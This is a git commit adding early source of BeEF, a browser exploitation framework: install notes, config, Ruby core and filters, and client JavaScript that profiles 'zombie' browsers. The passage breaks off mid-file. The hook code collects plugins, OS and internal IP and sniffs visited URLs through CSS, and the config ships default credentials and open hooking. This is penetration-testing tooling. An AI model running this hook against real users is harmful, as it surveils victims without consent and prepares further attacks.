Moving nextgen from a branch to the trunk!!!

git-svn-id: https://beef.googlecode.com/svn/trunk@908 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
scotty.b.brown@gmail.com
2011-04-20 07:54:56 +00:00
parent af413eecdb
commit 35f62714b1
502 changed files with 69628 additions and 0 deletions

54
INSTALL Normal file
View File

@@ -0,0 +1,54 @@
Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing beef should be kept here.
=============================================
1. Prerequisites (platform independent)
2. Prerequisites (Windows)
3. Prerequisites (Linux)
4. Prerequisites (Mac OSX)
5. Install instructions
1. Prerequisites (platform independent)
Beef requires ruby 1.8
2. Prerequisites (Windows)
Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory:
http://www.sqlite.org/sqlitedll-3_7_0_1.zip
3. Prerequisites (Linux)
!!! This must be done PRIOR to running the Beef installer !!!
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
You also need to install the ruby-dev package (required for mkmf)
sudo apt-get install ruby-dev
4. Prerequisites (Mac OSX)
Make sure you have XCode installed - which provided the sqlite support Beef needs
5. Install instructions
Obtain application code either by downloading an archive from http://code.google.com/p/beef/downloads/list or checking out the source from http://code.google.com/p/beef/source/checkout
Navigate to the ruby source directory and run:
ruby install
The installer verifies required gems, including any specific version dependencies
The installer offers a choice of auto-installing missing gems or provides the command so you can install gems manually

1
VERSION Normal file
View File

@@ -0,0 +1 @@
0.4.2.4-alpha

58
beef Executable file
View File

@@ -0,0 +1,58 @@
#!/usr/bin/env ruby
$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
$root_dir = File.expand_path('..', __FILE__)
require 'core/loader'
#prints welcome message
BeEF::Extension::Console::Banners.print_welcome_msg
# load config
config = BeEF::Core::Configuration.instance
# disable reverse dns
Socket.do_not_reverse_lookup = true
# setup database
case config.get("beef.default_db")
when "sqlite"
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.sqlite.db_name")}")
when "mysql"
DataMapper.setup(:default, "mysql://#{config.get("beef.database.mysql.db_user")}:#{config.get("beef.database.mysql.db_passwd")}@#{config.get("beef.database.mysql.db_host")}/#{config.get("beef.database.mysql.db_name")}")
else
print_error 'No default database selected. Please add one in config.yaml'
end
BeEF::Extension::Console::Banners.print_network_interfaces_count
if BeEF::Extension::Console.resetdb?
print_info 'Resetting the database for BeEF.'
DataMapper.auto_migrate!
else
DataMapper.auto_upgrade!
end
# if metasploit is unreachable it can take 10/15 seconds to load
print_info 'BeEF is loading. Wait a few seconds...'
# check for new command modules
BeEF::Core::Migration.instance.update_db!
# prepare the web server to run
http_hook_server = BeEF::Core::Server.instance
http_hook_server.prepare
# prints information back to the user before running the server
BeEF::Extension::Console::Banners.print_loaded_extensions
BeEF::Extension::Console::Banners.print_loaded_modules
BeEF::Extension::Console::Banners.print_network_interfaces_routes
# We dynamically get the list of all browser hook handler using the API and register them
BeEF::API.fire(BeEF::API::Server::Handler, :pre_http_start, http_hook_server)
# starts the web server
http_hook_server.start

57
config.yaml Normal file
View File

@@ -0,0 +1,57 @@
# BeEF Configuration file
beef:
version: '0.4.2.5-alpha'
debug: false
#supported DBs: sqlite, MySQL
default_db: "sqlite"
restrictions:
# subnet of browser ip addresses that can hook to the framework
permitted_hooking_subnet: "0.0.0.0/0"
# subnet of browser ip addresses that can connect to the UI
# permitted_ui_subnet = "127.0.0.1/32"
permitted_ui_subnet: "0.0.0.0/0"
http:
host: "0.0.0.0"
port: "3000"
# if running behind a nat set the public ip address here
#public: ""
dns: "localhost"
demo_path: "/demos/basic.html"
panel_path: "/ui/panel"
hook_file: "/hook.js"
hook_session_name: "BEEFHOOK"
session_cookie_name: "BEEFSESSION"
ui:
username: "beef"
password: "beef"
favicon_file_name: "favicon.ico"
favicon_dir: "/images"
login_fail_delay: 1
database:
# please note that the db should exists. Schema will be created automatically.
# mysql> create database beef;
# mysql> grant all privileges on beef.* to 'beef'@'localhost' identified by 'beef123';
mysql:
db_host: "localhost"
db_name: "beef"
db_user: "beef"
db_passwd: "beef123"
sqlite:
db_name: "beef.db"
crypto_default_value_length: 80
# You may override default extension configuration parameters here
extension:
requester:
enable: true
proxy:
enable: true
msf:
enable: false

30
core/api.rb Normal file
View File

@@ -0,0 +1,30 @@
=begin
=end
module BeEF
module API
#
# Calls a API fire against a certain class / module (c) method (m) with n parameters (*args)
#
def self.fire(c, m, *args)
c.extended_in_modules.each do |mod|
begin
mod.send m.to_sym, *args
rescue Exception => e
puts e.message
puts e.backtrace
end
end
end
end
end
require 'core/api/command'
require 'core/api/extension'
require 'core/api/migration'
require 'core/api/server/handler'
require 'core/api/server/hook'

30
core/api/command.rb Normal file
View File

@@ -0,0 +1,30 @@
module BeEF
module API
#
# Use this API call if you want to add new methods and variables to the default
# BeEF::Core::Command module.
#
# Here's an example:
#
# module A
# extend BeEF::API::Command
#
# def hello
# p 'hi there'
# end
# end
#
# b = BeEF::Core::Command.new
# b.hello # => 'hi there'
#
# c = BeEF::Core::Command::Detect_details.new
# c.hello # => 'hi there'
#
#
# For a real life example, have a look at BeEF::Extension::AdminUI::API::Command
#
module Command
end
end
end

24
core/api/extension.rb Normal file
View File

@@ -0,0 +1,24 @@
module BeEF
module API
#
# All modules that extend this API module will be considered as extensions to the
# core of BeEF.
#
# Examples:
#
# module A
# extend BeEF::API::Extension
# end
#
module Extension
attr_reader :full_name, :short_name, :description
@full_name = ''
@short_name = ''
@description = ''
end
end
end

37
core/api/migration.rb Normal file
View File

@@ -0,0 +1,37 @@
module BeEF
module API
#
# All modules that extend the Migration module will be called during the database
# migration phase of BeEF.
#
# So if you are developing an extension that requires injecting new commands into
# the database. You will want to use that.
#
# See the Metasploit extension for example.
#
# Example:
#
# module A
# extend BeEF::API::Migration
# end
#
#
# BeEF Core then calls all the migration modules like this:
#
# BeEF::API::Migration.extended_in_modules.each do |mod|
# ...
# end
#
module Migration
#
# This function gets called by the core when migrating new commands into the framework.
# For example, the metasploit examples needs to store the list of exploits into BeEF's
# database.
#
def migrate_commands!; end
end
end
end

View File

@@ -0,0 +1,57 @@
module BeEF
module API
module Server
#
# All modules that extend the Handler API will be called during handler mounting,
# dismounting, managing operations.
#
# You want to use that API if you are developing an extension that requires to create
# a new http handler to receive responses.
#
# Example:
#
# module A
# extend BeEF::API::Server::Handler
# end
#
#
# BeEF Core then calls all the Handler extension modules like this:
#
# BeEF::API::Server::Handler.extended_in_modules.each do |mod|
# ...
# end
#
module Handler
#
# This method is being called when the BeEF server mounts handlers
#
# See BeEF::Extension::AdminUI::API::Handler as an example.
#
# Example:
#
# module A
# extend BeEF::API::Server::Handler
#
# def mount_handlers(beef_server)
# ...
# end
# end
#
def mount_handlers(beef_server)
#
# Here's an example of how you could use it:
#
# beef_server.mount('/demos/', true, WEBrick::HTTPServlet::FileHandler, "#{$root_dir}/demos/")
#
end
def pre_http_start(http_hook_server)
end
end
end
end
end

47
core/api/server/hook.rb Normal file
View File

@@ -0,0 +1,47 @@
module BeEF
module API
module Server
#
# All modules that extend the Handler API will be called during handler mounting,
# dismounting, managing operations.
#
# You want to use that API if you are developing an extension that requires to create
# a new http handler to receive responses.
#
# Example:
#
# module A
# extend BeEF::API::Server::Handler
# end
#
#
# BeEF Core then calls all the Handler extension modules like this:
#
# BeEF::API::Server::Handler.extended_in_modules.each do |mod|
# ...
# end
#
module Hook
#
# This method is being called as the hooked response is being built
#
# Example:
#
# module A
# extend BeEF::API::Server::Hook
#
# def pre_hook_send()
# ...
# end
# end
#
def pre_hook_send(handler)
end
end
end
end
end

55
core/core.rb Normal file
View File

@@ -0,0 +1,55 @@
=begin
This is the core of the framework. Be very careful when touching anything in there.
The standard approach is to code extensions as oppose to edit the core.
=end
module BeEF
module Core
end
end
# Include the database models
# MAKE SURE TO KEEP THOSE IN THE FOLLOWING ORDER OTHERWISE DATAMAPPER GOES CRAZY
require 'core/main/models/user'
require 'core/main/models/commandmodule'
require 'core/main/models/hookedbrowser'
require 'core/main/models/log'
require 'core/main/models/command'
require 'core/main/models/result'
require 'core/main/models/dynamiccommandinfo'
require 'core/main/models/dynamicpayloadinfo'
require 'core/main/models/dynamicpayloads'
require 'core/main/models/optioncache'
# Include the constants
require 'core/main/constants/browsers'
require 'core/main/constants/commandmodule'
require 'core/main/constants/distributedengine'
require 'core/main/constants/os'
# Include core modules for beef
require 'core/main/configuration'
require 'core/main/command'
require 'core/main/crypto'
require 'core/main/logger'
require 'core/main/migration'
# Include http server functions for beef
require 'core/main/server'
require 'core/main/handlers/modules/beefjs'
require 'core/main/handlers/modules/command'
require 'core/main/handlers/commands'
require 'core/main/handlers/hookedbrowsers'
# Include the network stack
require 'core/main/network_stack/handlers/dynamicreconstruction'
require 'core/main/network_stack/assethandler'
require 'core/main/network_stack/api'
# Include the distributed engine
require 'core/main/distributed_engine/models/rules'

17
core/extensions.rb Normal file
View File

@@ -0,0 +1,17 @@
module BeEF
module Extension
end
end
# Include only enabled extensions
config = BeEF::Core::Configuration.instance
extensions = config.get('beef.extension').select{|key, ext|
ext['enable'] == true
}
extensions.each{ |k,v|
if File.exists?('extensions/'+k+'/extension.rb')
require 'extensions/'+k+'/extension.rb'
end
}

12
core/filters.rb Normal file
View File

@@ -0,0 +1,12 @@
module BeEF
module Filters
end
end
# Include the filters
require 'core/filters/base'
require 'core/filters/browser'
require 'core/filters/command'
require 'core/filters/page'
require 'core/filters/http'

93
core/filters/base.rb Normal file
View File

@@ -0,0 +1,93 @@
module BeEF
module Filters
# check if the string is not empty and not nil
def self.is_non_empty_string?(str)
return false if str.nil?
return false if not str.is_a? String
return false if str.empty?
true
end
# check if only the characters in 'chars' are in 'str'
def self.only?(chars, str)
regex = Regexp.new('[^' + chars + ']')
regex.match(str).nil?
end
# check if one or more characters in 'chars' are in 'str'
def self.exists?(chars, str)
regex = Regexp.new(chars)
not regex.match(str).nil?
end
# check for null char
def self.has_null? (str)
return false if not is_non_empty_string?(str)
exists?('\x00', str)
end
# check for non-printalbe char
def self.has_non_printable_char?(str)
return false if not is_non_empty_string?(str)
not only?('[:print:]', str)
end
# check if num chars only
def self.nums_only?(str)
return false if not is_non_empty_string?(str)
only?('0-9', str)
end
# check if valid float
def self.is_valid_float?(str)
return false if not is_non_empty_string?(str)
return false if not only?('0-9\.', str)
not (str =~ /^[\d]+\.[\d]+$/).nil?
end
# check if hex chars only
def self.hexs_only?(str)
return false if not is_non_empty_string?(str)
only?('0123456789ABCDEFabcdef', str)
end
# check if first char is a num
def self.first_char_is_num?(str)
return false if not is_non_empty_string?(str)
not (str =~ /^\d.*/).nil?
end
# check for space chars: \t\n\r\f
def self.has_whitespace_char?(str)
return false if not is_non_empty_string?(str)
exists?('\s', str)
end
# check for non word chars: a-zA-Z0-9
def self.alphanums_only?(str)
return false if not is_non_empty_string?(str)
only?("a-zA-Z0-9", str)
end
# check if valid ip address string
def self.is_valid_ip?(ip)
return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
false
end
# check for valid browser details chars
def self.has_valid_browser_details_chars?(str)
return false if not is_non_empty_string?(str)
not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil? # \302\256 is the (r) character
end
# check for valid base details chars
# this is for basic flitering where possible all specific filters must be implemented
def self.has_valid_base_chars?(str)
return false if not is_non_empty_string?(str)
(str =~ /[^\302\256[:print:]]/).nil? # \302\256 is the (r) character
end
end
end

46
core/filters/browser.rb Normal file
View File

@@ -0,0 +1,46 @@
module BeEF
module Filters
# check the browser type value - for example, 'FF'
def self.is_valid_browsername?(str)
return false if not is_non_empty_string?(str)
return false if str.length > 2
return false if has_non_printable_char?(str)
true
end
# check the os name value - for example, 'Windows XP'
def self.is_valid_osname?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length < 2
true
end
# verify the browser version string is valid
def self.is_valid_browserversion?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return true if str.eql? "UNKNOWN"
return false if not nums_only?(str) and not is_valid_float?(str)
return false if str.length > 10
true
end
# verify the browser/UA string is valid
def self.is_valid_browserstring?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 200
true
end
# verify the browser_plugins string is valid
def self.is_valid_browser_plugins?(str)
return false if not is_non_empty_string?(str)
return false if str.length > 400
return (str =~ /[^\w\d\s()-.,;_!\302\256]/).nil? # \302\256 is the (r) character
end
end
end

57
core/filters/command.rb Normal file
View File

@@ -0,0 +1,57 @@
module BeEF
module Filters
# check if the string is a valid path from a HTTP request
def self.is_valid_path_info?(str)
return false if str.nil?
return false if not str.is_a? String
return false if has_non_printable_char?(str)
true
end
# check if the command id valid
def self.is_valid_command_id?(str)
return false if not is_non_empty_string?(str)
return false if not nums_only?(str)
true
end
# check if the session id valid
def self.is_valid_hook_session_id?(str)
return false if not is_non_empty_string?(str)
return false if not has_valid_key_chars?(str)
true
end
# check if valid command module datastore key
def self.is_valid_command_module_datastore_key?(str)
return false if not is_non_empty_string?(str)
return false if not has_valid_key_chars?(str)
true
end
# check if valid command module datastore value
def self.is_valid_command_module_datastore_param?(str)
return false if has_null?(str)
return false if not has_valid_base_chars?(str)
true
end
# check for word and some punc chars
def self.has_valid_key_chars?(str)
return false if not is_non_empty_string?(str)
return false if not has_valid_base_chars?(str)
true
end
# check for word and underscore chars
def self.has_valid_param_chars?(str)
return false if str.nil?
return false if not str.is_a? String
return false if str.empty?
return false if not (str =~ /[^\w_]/).nil?
true
end
end
end

16
core/filters/http.rb Normal file
View File

@@ -0,0 +1,16 @@
module BeEF
module Filters
# verify the hostname string is valid
def self.is_valid_hostname?(str)
return false if not is_non_empty_string?(str)
return false if has_non_printable_char?(str)
return false if str.length > 255
return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
return false if not (str =~ /\.\./).nil?
return false if not (str =~ /\-\-/).nil?
true
end
end
end

13
core/filters/page.rb Normal file
View File

@@ -0,0 +1,13 @@
module BeEF
module Filters
# verify the page title string is valid
def self.is_valid_pagetitle?(str)
return false if not str.is_a? String
return false if has_non_printable_char?(str)
return false if str.length > 50
true
end
end
end

41
core/loader.rb Normal file
View File

@@ -0,0 +1,41 @@
#
# Include here all the gems we are using
#
require 'rubygems'
require 'webrick'
require 'webrick/httpproxy'
require 'dm-core'
require 'dm-migrations'
require 'json'
require 'ansi'
require 'optparse'
require 'cgi'
require 'yaml'
require 'singleton'
require 'ipaddr'
require 'base64'
require 'xmlrpc/client'
require 'erubis'
require 'openssl'
require 'term/ansicolor'
# Include the filters
require 'core/filters'
# Include our patches for ruby and gems
require 'core/ruby'
# Include the API
require 'core/api'
# Include the settings
require 'core/settings'
# Include the core of BeEF
require 'core/core'
# Include the extensions
require 'core/extensions'
# Include the modules
require 'core/modules'

47
core/main/client/beef.js Normal file
View File

@@ -0,0 +1,47 @@
/*!
* BeEF JS Library <%= @beef_version %>
* http://beef.googlecode.com/
*/
$j = jQuery.noConflict();
//<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>';
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
var BeefJS = {
version: '<%= @beef_version %>',
// This get set to true during window.onload(). It's a useful hack when messing with document.write().
pageIsLoaded: false,
// An array containing functions to be executed by Beef.
commands: new Array(),
// An array containing all the BeEF JS components.
components: new Array(),
/**
* Adds a function to execute.
* @param: {Function} the function to execute.
*/
execute: function(fn) {
this.commands.push(fn);
},
/**
* Registers a component in BeEF JS.
* @params: {String} the component.
*
* Components are very important to register so the framework does not
* send them back over and over again.
*/
regCmp: function(component) {
this.components.push(component);
}
};
window.beef = BeefJS;
}

688
core/main/client/browser.js Normal file
View File

@@ -0,0 +1,688 @@
/**
* @literal object: beef.browser
*
* Basic browser functions.
*/
beef.browser = {
/**
* Returns the user agent that the browser is claiming to be.
* @example: beef.browser.getBrowserReportedName()
*/
getBrowserReportedName: function() {
return navigator.userAgent;
},
/**
* Returns true if IE6.
* @example: beef.browser.isIE6()
*/
isIE6: function() {
return !window.XMLHttpRequest && !window.globalStorage;
},
/**
* Returns true if IE7.
* @example: beef.browser.isIE7()
*/
isIE7: function() {
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage;
},
/**
* Returns true if IE8.
* @example: beef.browser.isIE8()
*/
isIE8: function() {
$j("body").append('<!--[if IE 8]> <div id="beefiecheck" class="ie ie8"></div> <![endif]-->');
return ($j('#beefiecheck').hasClass('ie8'))?true:false;
},
/**
* Returns true if IE9.
* @example: beef.browser.isIE9()
*/
isIE9: function() {
$j("body").append('<!--[if IE 9]> <div id="beefiecheck" class="ie ie9"></div> <![endif]-->');
return ($j('#beefiecheck').hasClass('ie9'))?true:false;
},
/**
* Returns true if IE.
* @example: beef.browser.isIE()
*/
isIE: function() {
return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9();
},
/**
* Returns true if FF2.
* @example: beef.browser.isFF2()
*/
isFF2: function() {
return !!window.globalStorage && !window.postMessage;
},
/**
* Returns true if FF3.
* @example: beef.browser.isFF3()
*/
isFF3: function() {
return !!window.globalStorage && !!window.postMessage && !JSON.parse;
},
/**
* Returns true if FF35.
* @example: beef.browser.isFF35()
*/
isFF35: function() {
return !!window.globalStorage && !!JSON.parse && !window.FileReader;
},
/**
* Returns true if FF36.
* @example: beef.browser.isFF36()
*/
isFF36: function() {
return !!window.globalStorage && !!window.FileReader && !window.multitouchData;
},
/**
* Returns true if FF4.
* @example: beef.browser.isFF4()
*/
isFF4: function() {
return !!window.globalStorage && !!window.history.replaceState;
},
/**
* Returns true if FF.
* @example: beef.browser.isFF()
*/
isFF: function() {
return this.isFF2() || this.isFF3() || this.isFF35() || this.isFF36() || this.isFF4();
},
/**
* Returns true if Safari.
* @example: beef.browser.isS()
*/
isS: function() {
return !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome;
},
/**
* Returns true if Chrome 5.
* @example: beef.browser.isC5()
*/
isC5: function() {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==5)?true:false);
},
/**
* Returns true if Chrome 6.
* @example: beef.browser.isC6()
*/
isC6: function() {
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==6)?true:false);
},
/**
* Returns true if Chrome 7.
* @example: beef.browser.isC7()
*/
isC7: function() {
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==7)?true:false);
},
/**
* Returns true if Chrome 8.
* @example: beef.browser.isC8()
*/
isC8: function() {
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==8)?true:false);
},
/**
* Returns true if Chrome 9.
* @example: beef.browser.isC9()
*/
isC9: function() {
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==9)?true:false);
},
/**
* Returns true if Chrome 10.
* @example: beef.browser.isC10()
*/
isC10: function() {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==10)?true:false);
},
/**
* Returns true if Chrome.
* @example: beef.browser.isC()
*/
isC: function() {
return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10();
},
/**
* Returns true if Opera 9.50 trough 9.52.
* @example: beef.browser.isO952()
*/
isO952: function() {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.5/) != null));
},
/**
* Returns true if Opera 9.60 trough 9.64.
* @example: beef.browser.isO960()
*/
isO960: function() {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.6/) != null));
},
/**
* Returns true if Opera 10.xx.
* @example: beef.browser.isO10()
*/
isO10: function() {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/10\./) != null));
},
/**
* Returns true if Opera 11.xx.
* @example: beef.browser.isO11()
*/
isO11: function() {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
},
/**
* Returns true if Opera.
* @example: beef.browser.isO()
*/
isO: function() {
return this.isO952() || this.isO960() || this.isO10() || this.isO11();
},
/**
* Returns the type of browser being used.
* @example: beef.browser.type().IE6
* @example: beef.browser.type().FF
* @example: beef.browser.type().O
*/
type: function() {
return {
C5: this.isC5(), // Chrome 5
C6: this.isC6(), // Chrome 6
C7: this.isC7(), // Chrome 7
C8: this.isC8(), // Chrome 8
C9: this.isC9(), // Chrome 9
C10: this.isC10(), // Chrome 10
C: this.isC(), // Chrome any version
FF2: this.isFF2(), // Firefox 2
FF3: this.isFF3(), // Firefox 3
FF35: this.isFF35(), // Firefox 3.5
FF36: this.isFF36(), // Firefox 3.6
FF4: this.isFF4(), // Firefox 4
FF: this.isFF(), // Firefox any version
IE6: this.isIE6(), // Internet Explorer 6
IE9: this.isIE9(), // Internet Explorer 9
IE8: this.isIE8(), // Internet Explorer 8
IE7: this.isIE7(), // Internet Explorer 7
IE: this.isIE(), // Internet Explorer any version
O952: this.isO952(), // Opera 9.50 trough 9.52
O960: this.isO960(), // Opera 9.60 trough 9.64
O10: this.isO10(), // Opera 10.xx
O11: this.isO11(), // Opera 11.xx
O: this.isO(), // Opera any version
S: this.isS() // Safari any version
}
},
/**
* Returns the type of browser being used.
* @return: {String} User agent software and version.
*
* @example: beef.browser.getBrowserVersion()
*/
getBrowserVersion: function() {
if (this.isC5()) { return '5' }; // Chrome 5
if (this.isC6()) { return '6' }; // Chrome 6
if (this.isC7()) { return '7' }; // Chrome 7
if (this.isC8()) { return '8' }; // Chrome 8
if (this.isC9()) { return '9' }; // Chrome 9
if (this.isC10()) { return '10' }; // Chrome 10
if (this.isFF2()) { return '2' }; // Firefox 2
if (this.isFF3()) { return '3' }; // Firefox 3
if (this.isFF35()) { return '3.5' }; // Firefox 3.5
if (this.isFF36()) { return '3.6' }; // Firefox 3.6
if (this.isFF4()) { return '4' }; // Firefox 4
if (this.isIE6()) { return '6' }; // Internet Explorer 6
if (this.isIE9()) { return '9' }; // Internet Explorer 9
if (this.isIE8()) { return '8' }; // Internet Explorer 8
if (this.isIE7()) { return '7' }; // Internet Explorer 7
if (this.isO952()) { return '9.5' }; // Opera 9.5x
if (this.isO960()) { return '9.6' }; // Opera 9.6
if (this.isO10()) { return '10' }; // Opera 10.xx
if (this.isO11()) { return '11' }; // Opera 11.xx
return 'UNKNOWN'; // Unknown UA
},
/**
* Returns the type of user agent by hooked browser.
* @return: {String} User agent software.
*
* @example: beef.browser.getBrowserName()
*/
getBrowserName: function() {
if (this.isC()) { return 'C' }; // Chrome any version
if (this.isFF()) { return 'FF' }; // Firefox any version
if (this.isIE()) { return 'IE' }; // Internet Explorer any version
if (this.isO()) { return 'O' }; // Opera any version
if (this.isS()) { return 'S' }; // Safari any version
return 'UN'; // Unknown UA
},
/**
* Checks if the zombie has flash installed and enabled.
* @return: {Boolean} true or false.
*
* @example: if(beef.browser.hasFlash()) { ... }
*/
hasFlash: function() {
if (!this.type().IE) {
return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
} else {
flash_versions = 10;
flash_installed = false;
if (window.ActiveXObject) {
for (x = 2; x <= flash_versions; x++) {
try {
Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
if (Flash) {
flash_installed = true;
}
}
catch(e) { }
}
};
return flash_installed;
}
},
/**
* Checks if the zombie has Java installed and enabled.
* @return: {Boolean} true or false.
*
* @example: if(beef.browser.hasJava()) { ... }
*/
hasJava: function() {
if(!this.type().IE && window.navigator.javaEnabled && window.navigator.javaEnabled()) {
return true;
}
return false;
},
/**
* Checks if the zombie has VBScript enabled.
* @return: {Boolean} true or false.
*
* @example: if(beef.browser.hasVBScript()) { ... }
*/
hasVBScript: function() {
if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
return true;
} else {
return false;
}
},
/**
* Returns the list of plugins installed in the browser.
*/
getPlugins: function() {
var results = '';
if (this.isIE())
{
results = this.getPluginsIE();
} else {
if (navigator.plugins && navigator.plugins.length > 0)
{
var length = navigator.plugins.length;
for (var i=0; i < length; i++)
{
if (i != 0)
results += ', ';
results += navigator.plugins[i].name;
}
} else {
results = 'navigator.plugins is not supported in this browser!';
}
}
return results;
},
/**
* Returns a list of plugins detected by IE. This is a hack because IE doesn't
* support navigator.plugins
*/
getPluginsIE: function() {
var results = '';
var plugins = {'AdobePDF6':{
'control':'PDF.PdfCtrl',
'return': function(control) {
version = control.getVersions().split(',');
version = version[0].split('=');
return 'Acrobat Reader v'+parseFloat(version[1]);
}},
'AdobePDF7':{
'control':'AcroPDF.PDF',
'return': function(control) {
version = control.getVersions().split(',');
version = version[0].split('=');
return 'Acrobat Reader v'+parseFloat(version[1]);
}},
'Flash':{
'control':'ShockwaveFlash.ShockwaveFlash',
'return': function(control) {
version = control.getVariable('$version').substring(4);
version = version.split(',');
return 'Flash Player v'+parseFloat(version[0]+'.'+version[1]);
}},
'Quicktime':{
'control': 'QuickTime.QuickTime',
'return': function(control) {
return 'QuickTime Player';
}},
'RealPlayer':{
'control': 'RealPlayer',
'return': function(control) {
version = control.getVersionInfo();
return 'RealPlayer v'+parseFloat(version);
}},
'Shockwave':{
'control': 'SWCtl.SWCtl',
'return': function(control) {
version = control.ShockwaveVersion('').split('r');
return 'Shockwave v'+parseFloat(version[0]);
}},
'WindowsMediaPlayer': {
'control': 'WMPlayer.OCX',
'return': function(control) {
return 'Windows Media Player v'+parseFloat(control.versionInfo);
}}
};
if (window.ActiveXObject) {
var j = 0;
for (var i in plugins)
{
var control = null;
var version = null;
try {
control = new ActiveXObject(plugins[i]['control']);
} catch (e) { }
if (control)
{
if (j != 0)
results += ', ';
results += plugins[i]['return'](control);
j++;
}
}
}
return results;
},
/**
* Returns zombie screen size and color depth.
*/
getScreenParams: function() {
return {
width: window.screen.width,
height: window.screen.height,
colordepth: window.screen.colorDepth
}
},
/**
* Returns zombie browser window size.
* @from: http://www.howtocreate.co.uk/tutorials/javascript/browserwindow
*/
getWindowSize: function() {
var myWidth = 0, myHeight = 0;
if( typeof( window.innerWidth ) == 'number' ) {
// Non-IE
myWidth = window.innerWidth;
myHeight = window.innerHeight;
} else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) {
// IE 6+ in 'standards compliant mode'
myWidth = document.documentElement.clientWidth;
myHeight = document.documentElement.clientHeight;
} else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) {
// IE 4 compatible
myWidth = document.body.clientWidth;
myHeight = document.body.clientHeight;
}
return {
width: myWidth,
height: myHeight
}
},
/**
* Construct hash from browser details. This function is used to grab the browser details during the hooking process
*/
getDetails: function() {
var details = new Array();
var browser_name = beef.browser.getBrowserName();
var browser_version = beef.browser.getBrowserVersion();
var browser_reported_name = beef.browser.getBrowserReportedName();
var page_title = document.title;
var hostname = document.location.hostname;
var browser_plugins = beef.browser.getPlugins();
var os_name = beef.os.getName();
var internal_ip = beef.net.local.getLocalAddress();
var internal_hostname = beef.net.local.getLocalHostname();
if(browser_name) details["BrowserName"] = browser_name;
if(browser_version) details["BrowserVersion"] = browser_version;
if(browser_reported_name) details["BrowserReportedName"] = browser_reported_name;
if(page_title) details["PageTitle"] = page_title;
if(hostname) details["HostName"] = hostname;
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
if(os_name) details['OsName'] = os_name;
if(internal_ip) details['InternalIP'] = internal_ip;
if(internal_hostname) details['InternalHostname'] = internal_hostname;
return details;
},
/**
* Returns array of results, whether or not the target zombie has visited the specified URL
*/
hasVisited: function(urls) {
var results = new Array();
var iframe = beef.dom.createInvisibleIframe();
var ifdoc = (iframe.contentDocument) ? iframe.contentDocument : iframe.contentWindow.document;
ifdoc.open();
ifdoc.write('<style>a:visited{width:0px !important;}</style>');
ifdoc.close();
urls = urls.split("\n");
var count = 0;
for (var i in urls)
{
var u = urls[i];
if (u != "" || u != null)
{
var success = false;
var a = ifdoc.createElement('a');
a.href = u;
ifdoc.body.appendChild(a);
var width = null;
(a.currentStyle) ? width = a.currentStyle['width'] : width = ifdoc.defaultView.getComputedStyle(a, null).getPropertyValue("width");
if (width == '0px') {
success = true;
}
results.push({'url':u, 'visited':success});
count++;
}
}
beef.dom.removeElement(iframe);
if (results.length == 0)
{
return false;
}
return results;
},
/**
* Checks if the zombie has Google Gears installed.
* @return: {Boolean} true or false.
*
* @from: https://code.google.com/apis/gears/gears_init.js
* */
hasGoogleGears: function() {
if (window.google && google.gears) {
return true;
}
var ggfactory = null;
// Firefox
if (typeof GearsFactory != 'undefined') {
ggfactory = new GearsFactory();
} else {
// IE
try {
ggfactory = new ActiveXObject('Gears.Factory');
// IE Mobile on WinCE.
if (ggfactory.getBuildInfo().indexOf('ie_mobile') != -1) {
ggfactory.privateSetGlobalObject(this);
}
} catch (e) {
// Safari
if ((typeof navigator.mimeTypes != 'undefined')
&& navigator.mimeTypes["application/x-googlegears"]) {
ggfactory = document.createElement("object");
ggfactory.style.display = "none";
ggfactory.width = 0;
ggfactory.height = 0;
ggfactory.type = "application/x-googlegears";
document.documentElement.appendChild(ggfactory);
if(ggfactory && (typeof ggfactory.create == 'undefined')) {
ggfactory = null;
}
}
}
}
if (!ggfactory) {
return false
} else {
return true
}
},
/**
* Changes the favicon in firefox only
**/
